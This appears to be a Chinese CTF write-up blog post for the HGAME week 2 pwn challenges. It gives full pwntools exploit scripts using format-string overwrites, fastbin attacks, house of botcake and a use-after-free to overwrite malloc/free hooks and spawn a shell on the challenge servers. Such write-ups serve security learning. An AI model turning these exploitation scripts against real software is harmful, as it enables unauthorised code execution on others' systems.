2022-hgame-week2

本文最后更新于:2023年2月6日 晚上

hgame week2 pwn wp

YukkuiSay

方法一

格式化字符串漏洞。泄漏libc地址和stack地址,再覆盖栈上__libc_start_mainone_gadget

image-20230206231545855

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/python
#encoding:utf-8

from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'

fn = './vuln'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ld = ELF('./ld-2.31.so')

debug = 0
if debug:
p = remote('week-2.hgame.lwsec.cn', 31594)

else:
p = process(fn)


lg = lambda x, y: log.success(f'{x}: {hex(y)}')

sd = lambda x: p.send(x)
sdl = lambda x: p.sendline(x)

rv = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rt = lambda x: p.can_recv_raw(timeout=x)

def myformat(offset, addr, data):
A = data & 0xff
B = (data >> 8) & 0xff
C = (data >> 16) & 0xff
D = (data >> 24) & 0xff

print(f'A: {hex(A)} \n' + f'B: {hex(B)} \n' + f'C: {hex(C)} \n' + f'D: {hex(D)}')

def cal(x, y):
return ((x - y) + 0x100) % 0x100

payload = '%' + str(A) + 'c%{}$hhn'.format(offset)
payload += '%' + str(cal(B, A)) + 'c%{}$hhn'.format(offset + 1)
payload += '%' + str(cal(C, B)) + 'c%{}$hhn'.format(offset + 2)
payload += '%' + str(cal(D, C)) + 'c%{}$hhn'.format(offset + 3)

payload = payload.ljust(0x30, '\x00')
payload = payload.encode()

payload += p64(addr)
payload += p64(addr + 1)
payload += p64(addr + 2)
payload += p64(addr + 3)

return payload


puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

p.recvuntil('let Yukkri say?')
payload = b'a' * 0x98
p.send(payload)

leak = u64(ru('\x7f')[-6:].ljust(8, b'\x00'))
lg('leak', leak)

libc_base = leak - 0x1ed5c0
log.success('libc_base: ' + hex(libc_base))

gadgets = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = libc_base + gadgets[1]

p.recvuntil('anything else?(Y/n)')
p.sendline('y')

payload = 'a' * 0x100
p.send(payload)

stack = u64(ru('\x7f')[-6:].ljust(8, b'\x00'))
lg('stack', stack)

p.recvuntil('anything else?(Y/n)')
p.sendline('y')

key = stack + 8
payload = p64(key) + p64(key + 1) + p64(key + 2) + p64(key + 3)
p.send(payload)

p.recvuntil('anything else?(Y/n)')
p.sendline('n')

p.recvuntil('prepared a gift for you: ')

payload = myformat(8, key, one_gadget)
p.sendline(payload)

p.interactive()

方法二

泄漏libc地址,覆盖exit_hook为one_gadget。

注意,_rtld_global在ld上,ld距离libc地址不确定,需要爆破偏移。

爆破脚本参考WJH师傅的脚本:https://blog.wjhwjhn.com/archives/593/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/python
#encoding:utf-8

from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'

fn = './vuln'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ld = ELF('./ld-2.31.so')

lg = lambda x, y: log.success(f'{x}: {hex(y)}')

sd = lambda x: p.send(x)
sdl = lambda x: p.sendline(x)

rv = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rt = lambda x: p.can_recv_raw(timeout=x)

def myformat(offset, addr, data):
A = data & 0xff
B = (data >> 8) & 0xff
C = (data >> 16) & 0xff
D = (data >> 24) & 0xff

print(f'A: {hex(A)} \n' + f'B: {hex(B)} \n' + f'C: {hex(C)} \n' + f'D: {hex(D)}')

def cal(x, y):
return ((x - y) + 0x100) % 0x100

payload = '%' + str(A) + 'c%{}$hhn'.format(offset + 6)
payload += '%' + str(cal(B, A)) + 'c%{}$hhn'.format(offset + 1 + 6)
payload += '%' + str(cal(C, B)) + 'c%{}$hhn'.format(offset + 2 + 6)
payload += '%' + str(cal(D, C)) + 'c%{}$hhn'.format(offset + 3 + 6)

payload = payload.ljust(0x30, '\x00')
payload = payload.encode()

payload += p64(addr)
payload += p64(addr + 1)
payload += p64(addr + 2)
payload += p64(addr + 3)

p.send(payload)


puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

def leak():
p.recvuntil('let Yukkri say?')
payload = b'a' * 0x98
p.send(payload)

leak = u64(ru('\x7f')[-6:].ljust(8, b'\x00'))
lg('leak', leak)

libc_base = leak - 0x1ed5c0
log.success('libc_base: ' + hex(libc_base))

return libc_base

def attack(libc_base, ld_base):
log.success('ld_base: ' + hex(ld_base))

gadgets = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = libc_base + gadgets[0]

rtld_global = ld_base + ld.sym['_rtld_global']
exit_hook = rtld_global + 0xf08

p.recvuntil('anything else?(Y/n)')
p.sendline('y')

payload = p64(exit_hook) + p64(exit_hook + 1) + p64(exit_hook + 2) + p64(exit_hook + 3)
p.sendline(payload)

p.recvuntil('anything else?(Y/n)')
p.sendline('n')

p.recvuntil('prepared a gift for you: ')

payload = myformat(2, exit_hook, one_gadget)
p.sendline(payload)



for x in range(0x10):
for y in range(0x10):
try:
p = process(fn)

print(f'times: {x * 10 + y}')

libc_base = leak()
offset = 0x200000
offset += x << 16
offset += y << 12
lg('offset', offset)
ld_base = libc_base + offset

attack(libc_base, ld_base)

p.sendline('cat flag')
p.recvline()
temp = p.recv(timeout=0.5)
if not temp:
continue
print(temp)

p.interactive()

break

except EOFError:
p.close()
continue

本地可以打通,但是远程没有打通。

image-20230206232356089

fast_note

fastbin attack,覆盖malloc_hook为one_gadget,并使用realloc hook调整栈帧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
from pwncli import *

cli_script()

context.arch = 'amd64'
context.log_level = 'debug'

fn = './vuln'
elf = ELF(fn)
libc = ELF('./libc-2.23.so')

debug = 1
if debug:
p = remote('week-2.hgame.lwsec.cn', 30821)
else:
p = process(fn)

def menu(index):
p.sendlineafter('>', str(index))


def add(index, size, content):
menu(1)
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Size: ', str(size))
p.sendlineafter('Content: ', content)


def show(index):
menu(3)
p.sendlineafter('Index: ', str(index))



def delete(index):
menu(2)
p.sendlineafter('Index: ', str(index))


add(0, 0x60, 'a' * 0x60)
add(1, 0x60, 'a' * 0x60)
add(2, 0x60, 'a' * 0x60)
add(3, 0x80, 'a' * 0x80)
add(4, 0x20, 'a' * 0x20)

delete(3)
show(3)

malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) -88 - 0x10
log.success('malloc_hook: ' + hex(malloc_hook))

libc_base = malloc_hook - libc.sym['__malloc_hook']
log.success('libc_base: ' + hex(libc_base))

realloc_hook = malloc_hook - 0x8
realloc = libc_base + libc.sym['realloc']

gadgets = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one_gadget = libc_base + gadgets[3]

delete(0)
delete(1)
delete(0)

add(5, 0x60, p64(malloc_hook - 0x23))
add(6, 0x60, 'a' * 0x60)
add(7, 0x60 , 'a')

add(8, 0x60, b'a' * (0x13 - 0x8) + p64(one_gadget) + p64(realloc + 7))

menu(1)
p.sendlineafter('Index: ', str(9))
p.sendlineafter('Size: ', str(0x20))

p.interactive()

new_fast_note

house of botcake

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './vuln'
elf = ELF(fn)
libc = ELF('./libc-2.31.so')

debug = 1
if debug:
p = remote('week-2.hgame.lwsec.cn', 30472)
else:
p = process(fn)

def menu(index):
p.sendlineafter('>', str(index))


def add(index, size, content):
menu(1)
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Size: ', str(size))
p.sendlineafter('Content: ', content)


def show(index):
menu(3)
p.sendlineafter('Index: ', str(index))



def delete(index):
menu(2)
p.sendlineafter('Index: ', str(index))


for i in range(10):
add(i, 0x80, 'l1s00t')

for i in range(7):
delete(i)

delete(8)
delete(7)

show(8)

malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
log.success('malloc_hook: ' + hex(malloc_hook))

libc_base = malloc_hook - libc.sym['__malloc_hook']
log.success('libc_base: ' + hex(libc_base))

gadgets = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = libc_base + gadgets[1]

add(10, 0x80, 'l1s00t')
delete(8)

add(11, 0x60, 'l1s00t')

payload = b'a' * 0x10 + p64(0) + p64(0x91) + p64(malloc_hook)
add(12, 0x60, payload)

add(13, 0x80, 'l1s00t')
add(14, 0x80, p64(one_gadget))

menu(1)
p.sendlineafter('Index: ', str(9))
p.sendlineafter('Size: ', str(0x20))

p.interactive()

editable_note

libc2.31 UAF漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './vuln'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 0
if debug:
p = remote('week-2.hgame.lwsec.cn', 31905)
else:
p = process(fn)

def menu(index):
p.sendlineafter('>', str(index))


def add(index, size):
menu(1)
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Size: ', str(size))


def show(index):
menu(4)
p.sendlineafter('Index: ', str(index))


def edit(index, content):
menu(3)
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Content: ', content)


def delete(index):
menu(2)
p.sendlineafter('Index: ', str(index))


add(0, 0x80)
add(1, 0x80)

for i in range(7):
delete(0)
edit(0, p64(0) * 2)

delete(0)
show(0)

leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
success('leak: ' + hex(leak))

malloc_hook = leak - 96 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
success('libc_base: ' + hex(libc_base))

gadgets = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = libc_base + gadgets[0]

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

add(2, 0x60)
add(3, 0x60)

delete(3)
delete(2)

edit(2, p64(free_hook) + p64(0))

add(4, 0x60)
add(5, 0x60)

edit(5, p64(system))
edit(4, '/bin/sh\x00')

delete(4)

p.interactive()


2022-hgame-week2
http://example.com/2023/02/06/2022-hgame-week2/
作者
l1s00t
发布于
2023年2月6日
更新于
2023年2月6日
许可协议